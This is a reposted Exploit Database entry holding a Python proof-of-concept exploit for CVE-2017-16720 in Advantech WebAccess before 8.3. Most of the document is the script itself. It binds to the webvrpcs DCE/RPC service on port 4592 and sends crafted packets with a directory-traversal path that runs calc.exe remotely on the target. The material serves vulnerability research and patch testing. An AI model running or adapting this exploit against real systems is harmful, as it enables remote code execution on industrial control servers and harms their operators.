Advantech WebAccess < 8.3 - Directory Traversal / Remote Code Execution

• Exploit Database
• 18 阅读

• 作者： Chris Lyne
  日期： 2018-03-12
• 类别：

  • webapps
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44278/

• #!/usr/bin/python2.7
  
  # Exploit Title: Advantech WebAccess < 8.3 webvrpcs Directory Traversal RCE Vulnerability
  # Date: 03-11-2018
  # Exploit Author: Chris Lyne (@lynerc)
  # Vendor Homepage: www.advantech.com
  # Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.2/AdvantechWebAccessUSANode8.2_20170817.exe
  # Version: Advantech WebAccess 8.2-2017.08.18
  # Tested on: Windows Server 2008 R2 Enterprise 64-bit
  # CVE : CVE-2017-16720
  # See Also: https://www.zerodayinitiative.com/advisories/ZDI-18-024/
  
  import sys, struct
  from impacket import uuid
  from impacket.dcerpc.v5 import transport
  
  def call(dce, opcode, stubdata):
  dce.call(opcode, stubdata)
  res = -1
  try:
  res = dce.recv()
  except Exception, e:
  print "Exception encountered..." + str(e)
  sys.exit(1)
  return res
  
  if len(sys.argv) != 2:
  print "Provide only host arg"
  sys.exit(1)
  
  port = 4592
  interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
  version = "1.0" 
  
  host = sys.argv[1]
  
  string_binding = "ncacn_ip_tcp:%s" % host
  trans = transport.DCERPCTransportFactory(string_binding)
  trans.set_dport(port)
  
  dce = trans.get_dce_rpc()
  dce.connect()
  
  print "Binding..."
  iid = uuid.uuidtup_to_bin((interface, version))
  dce.bind(iid)
  
  print "...1"
  stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
  call(dce, 2, stubdata)
  
  print "...2"
  stubdata = struct.pack("<I", 0x02)
  res = call(dce, 4, stubdata)
  if res == -1:
  print "Something went wrong"
  sys.exit(1)
  res = struct.unpack("III", res)
  
  if (len(res) < 3):
  print "Received unexpected length value"
  sys.exit(1)
  
  print "...3"
  # ioctl 0x2711
  stubdata = struct.pack("<IIII", res[2], 0x2711, 0x204, 0x204)
  command = "..\\..\\windows\\system32\\calc.exe"
  fmt = "<" + str(0x204) + "s"
  stubdata += struct.pack(fmt, command)
  call(dce, 1, stubdata)
  
  print "\nDid it work?"
  
  dce.disconnect()